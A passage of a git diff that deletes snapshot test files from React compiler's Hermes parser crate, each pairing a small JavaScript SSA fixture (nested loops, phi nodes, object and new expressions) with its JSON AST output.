-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "AssignmentExpression",
-                          "operator": "=",
-                          "left": {
-                            "type": "Identifier",
-                            "name": "x",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              76,
-                              77
-                            ]
-                          },
-                          "right": {
-                            "type": "Identifier",
-                            "name": "a",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              80,
-                              81
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            76,
-                            81
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          76,
-                          82
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      68,
-                      88
-                    ]
-                  },
-                  "alternate": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "AssignmentExpression",
-                          "operator": "=",
-                          "left": {
-                            "type": "Identifier",
-                            "name": "x",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              102,
-                              103
-                            ]
-                          },
-                          "right": {
-                            "type": "Identifier",
-                            "name": "b",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              106,
-                              107
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            102,
-                            107
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          102,
-                          108
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      94,
-                      114
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    58,
-                    114
-                  ]
-                },
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "Identifier",
-                    "name": "x",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      119,
-                      120
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    119,
-                    121
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                52,
-                125
-              ]
-            },
-            "alternate": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "IfStatement",
-                  "test": {
-                    "type": "BooleanLiteral",
-                    "value": true,
-                    "loc": null,
-                    "range": [
-                      141,
-                      145
-                    ]
-                  },
-                  "consequent": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "AssignmentExpression",
-                          "operator": "=",
-                          "left": {
-                            "type": "Identifier",
-                            "name": "x",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              155,
-                              156
-                            ]
-                          },
-                          "right": {
-                            "type": "Identifier",
-                            "name": "c",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              159,
-                              160
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            155,
-                            160
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          155,
-                          161
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      147,
-                      167
-                    ]
-                  },
-                  "alternate": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "AssignmentExpression",
-                          "operator": "=",
-                          "left": {
-                            "type": "Identifier",
-                            "name": "x",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              181,
-                              182
-                            ]
-                          },
-                          "right": {
-                            "type": "Identifier",
-                            "name": "d",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              185,
-                              186
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            181,
-                            186
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          181,
-                          187
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      173,
-                      193
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    137,
-                    193
-                  ]
-                },
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "Identifier",
-                    "name": "x",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      198,
-                      199
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    198,
-                    200
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                131,
-                204
-              ]
-            },
-            "loc": null,
-            "range": [
-              42,
-              204
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                214,
-                215
-              ]
-            },
-            "loc": null,
-            "range": [
-              207,
-              216
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          25,
-          218
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        218
-      ],
-      "loc": null,
-      "range": [
-        0,
-        218
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    218
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-nested-loops-no-reassign.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-nested-loops-no-reassign.js.snap
deleted file mode 100644
index 7bf241088077..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-nested-loops-no-reassign.js.snap
+++ /dev/null
@@ -1,276 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/ssa-nested-loops-no-reassign.js
----
-Input:
-// @xonly
-function foo(a, b, c) {
-  let x = 0;
-  while (a) {
-    while (b) {
-      while (c) {
-        x + 1;
-      }
-    }
-  }
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          19,
-          22
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            23,
-            24
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "b",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            26,
-            27
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "c",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            29,
-            30
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    40,
-                    41
-                  ]
-                },
-                "init": {
-                  "type": "NumericLiteral",
-                  "value": 0.0,
-                  "loc": null,
-                  "range": [
-                    44,
-                    45
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  40,
-                  45
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              36,
-              46
-            ]
-          },
-          {
-            "type": "WhileStatement",
-            "test": {
-              "type": "Identifier",
-              "name": "a",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                56,
-                57
-              ]
-            },
-            "body": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "WhileStatement",
-                  "test": {
-                    "type": "Identifier",
-                    "name": "b",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      72,
-                      73
-                    ]
-                  },
-                  "body": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "WhileStatement",
-                        "test": {
-                          "type": "Identifier",
-                          "name": "c",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            90,
-                            91
-                          ]
-                        },
-                        "body": {
-                          "type": "BlockStatement",
-                          "body": [
-                            {
-                              "type": "ExpressionStatement",
-                              "expression": {
-                                "type": "BinaryExpression",
-                                "left": {
-                                  "type": "Identifier",
-                                  "name": "x",
-                                  "typeAnnotation": null,
-                                  "loc": null,
-                                  "range": [
-                                    103,
-                                    104
-                                  ]
-                                },
-                                "operator": "+",
-                                "right": {
-                                  "type": "NumericLiteral",
-                                  "value": 1.0,
-                                  "loc": null,
-                                  "range": [
-                                    107,
-                                    108
-                                  ]
-                                },
-                                "loc": null,
-                                "range": [
-                                  103,
-                                  108
-                                ]
-                              },
-                              "directive": null,
-                              "loc": null,
-                              "range": [
-                                103,
-                                109
-                              ]
-                            }
-                          ],
-                          "loc": null,
-                          "range": [
-                            93,
-                            117
-                          ]
-                        },
-                        "loc": null,
-                        "range": [
-                          83,
-                          117
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      75,
-                      123
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    65,
-                    123
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                59,
-                127
-              ]
-            },
-            "loc": null,
-            "range": [
-              49,
-              127
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                137,
-                138
-              ]
-            },
-            "loc": null,
-            "range": [
-              130,
-              139
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          32,
-          141
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        10,
-        141
-      ],
-      "loc": null,
-      "range": [
-        10,
-        141
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    10,
-    141
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-nested-partial-phi.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-nested-partial-phi.js.snap
deleted file mode 100644
index ea3085ccba42..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-nested-partial-phi.js.snap
+++ /dev/null
@@ -1,250 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/ssa-nested-partial-phi.js
----
-Input:
-function foo(a, b, c) {
-  let x = a;
-  if (b) {
-    if (c) {
-      x = c;
-    }
-    // TODO: move the return to the end of the function
-    return x;
-  }
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            13,
-            14
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "b",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            16,
-            17
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "c",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            20
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    30,
-                    31
-                  ]
-                },
-                "init": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    34,
-                    35
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  30,
-                  35
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              26,
-              36
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "Identifier",
-              "name": "b",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                43,
-                44
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "IfStatement",
-                  "test": {
-                    "type": "Identifier",
-                    "name": "c",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      56,
-                      57
-                    ]
-                  },
-                  "consequent": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "AssignmentExpression",
-                          "operator": "=",
-                          "left": {
-                            "type": "Identifier",
-                            "name": "x",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              67,
-                              68
-                            ]
-                          },
-                          "right": {
-                            "type": "Identifier",
-                            "name": "c",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              71,
-                              72
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            67,
-                            72
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          67,
-                          73
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      59,
-                      79
-                    ]
-                  },
-                  "alternate": null,
-                  "loc": null,
-                  "range": [
-                    52,
-                    79
-                  ]
-                },
-                {
-                  "type": "ReturnStatement",
-                  "argument": {
-                    "type": "Identifier",
-                    "name": "x",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      147,
-                      148
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    140,
-                    149
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                46,
-                153
-              ]
-            },
-            "alternate": null,
-            "loc": null,
-            "range": [
-              39,
-              153
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          22,
-          155
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        155
-      ],
-      "loc": null,
-      "range": [
-        0,
-        155
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    155
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-nested-partial-reassignment.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-nested-partial-reassignment.js.snap
deleted file mode 100644
index 5943b6c71a62..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-nested-partial-reassignment.js.snap
+++ /dev/null
@@ -1,316 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/ssa-nested-partial-reassignment.js
----
-Input:
-function foo(a, b, c, d, e) {
-  let x = null;
-  if (a) {
-    x = b;
-  } else {
-    if (c) {
-      x = d;
-    }
-  }
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            13,
-            14
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "b",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            16,
-            17
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "c",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            20
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "d",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            22,
-            23
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "e",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            25,
-            26
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    37
-                  ]
-                },
-                "init": {
-                  "type": "NullLiteral",
-                  "loc": null,
-                  "range": [
-                    40,
-                    44
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  44
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              32,
-              45
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "Identifier",
-              "name": "a",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                52,
-                53
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        61,
-                        62
-                      ]
-                    },
-                    "right": {
-                      "type": "Identifier",
-                      "name": "b",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        65,
-                        66
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      61,
-                      66
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    61,
-                    67
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                55,
-                71
-              ]
-            },
-            "alternate": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "IfStatement",
-                  "test": {
-                    "type": "Identifier",
-                    "name": "c",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      87,
-                      88
-                    ]
-                  },
-                  "consequent": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "AssignmentExpression",
-                          "operator": "=",
-                          "left": {
-                            "type": "Identifier",
-                            "name": "x",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              98,
-                              99
-                            ]
-                          },
-                          "right": {
-                            "type": "Identifier",
-                            "name": "d",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              102,
-                              103
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            98,
-                            103
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          98,
-                          104
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      90,
-                      110
-                    ]
-                  },
-                  "alternate": null,
-                  "loc": null,
-                  "range": [
-                    83,
-                    110
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                77,
-                114
-              ]
-            },
-            "loc": null,
-            "range": [
-              48,
-              114
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                124,
-                125
-              ]
-            },
-            "loc": null,
-            "range": [
-              117,
-              126
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          28,
-          128
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        128
-      ],
-      "loc": null,
-      "range": [
-        0,
-        128
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    128
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-newexpression.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-newexpression.js.snap
deleted file mode 100644
index f5fc56704111..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-newexpression.js.snap
+++ /dev/null
@@ -1,273 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/ssa-newexpression.js
----
-Input:
-function Foo() {}
-
-function Component(props) {
-  const a = [];
-  const b = {};
-  let c = new Foo(a, b);
-  return c;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [],
-        "loc": null,
-        "range": [
-          15,
-          17
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        17
-      ],
-      "loc": null,
-      "range": [
-        0,
-        17
-      ]
-    },
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          28,
-          37
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            38,
-            43
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    55,
-                    56
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    59,
-                    61
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  55,
-                  61
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              49,
-              62
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "b",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    71,
-                    72
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    75,
-                    77
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  71,
-                  77
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              65,
-              78
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "c",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    85,
-                    86
-                  ]
-                },
-                "init": {
-                  "type": "NewExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "Foo",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      93,
-                      96
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "Identifier",
-                      "name": "a",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        97,
-                        98
-                      ]
-                    },
-                    {
-                      "type": "Identifier",
-                      "name": "b",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        100,
-                        101
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    89,
-                    102
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  85,
-                  102
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              81,
-              103
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "c",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                113,
-                114
-              ]
-            },
-            "loc": null,
-            "range": [
-              106,
-              115
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          45,
-          117
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        19,
-        117
-      ],
-      "loc": null,
-      "range": [
-        19,
-        117
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    117
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-non-empty-initializer.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-non-empty-initializer.js.snap
deleted file mode 100644
index 561963455691..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-non-empty-initializer.js.snap
+++ /dev/null
@@ -1,247 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/ssa-non-empty-initializer.js
----
-Input:
-function foo(a, b) {
-  let x = [];
-  if (a) {
-    x = 1;
-  }
-
-  let y = x;
-  return y;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            13,
-            14
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "b",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            16,
-            17
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    27,
-                    28
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    31,
-                    33
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  27,
-                  33
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              23,
-              34
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "Identifier",
-              "name": "a",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                41,
-                42
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        50,
-                        51
-                      ]
-                    },
-                    "right": {
-                      "type": "NumericLiteral",
-                      "value": 1.0,
-                      "loc": null,
-                      "range": [
-                        54,
-                        55
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      50,
-                      55
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    50,
-                    56
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                44,
-                60
-              ]
-            },
-            "alternate": null,
-            "loc": null,
-            "range": [
-              37,
-              60
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    68,
-                    69
-                  ]
-                },
-                "init": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    72,
-                    73
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  68,
-                  73
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              64,
-              74
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "y",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                84,
-                85
-              ]
-            },
-            "loc": null,
-            "range": [
-              77,
-              86
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          19,
-          88
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        88
-      ],
-      "loc": null,
-      "range": [
-        0,
-        88
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    88
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-objectexpression-phi.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-objectexpression-phi.js.snap
deleted file mode 100644
index 5f311276d841..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-objectexpression-phi.js.snap
+++ /dev/null
@@ -1,396 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/ssa-objectexpression-phi.js
----
-Input:
-function foo() {
-  let x = 1;
-  let y = 2;
-
-  if (x > 1) {
-    x = 2;
-  } else {
-    y = 3;
-  }
-
-  let t = { x: x, y: y };
-  return t;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    23,
-                    24
-                  ]
-                },
-                "init": {
-                  "type": "NumericLiteral",
-                  "value": 1.0,
-                  "loc": null,
-                  "range": [
-                    27,
-                    28
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  23,
-                  28
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              19,
-              29
-            ]
-          },
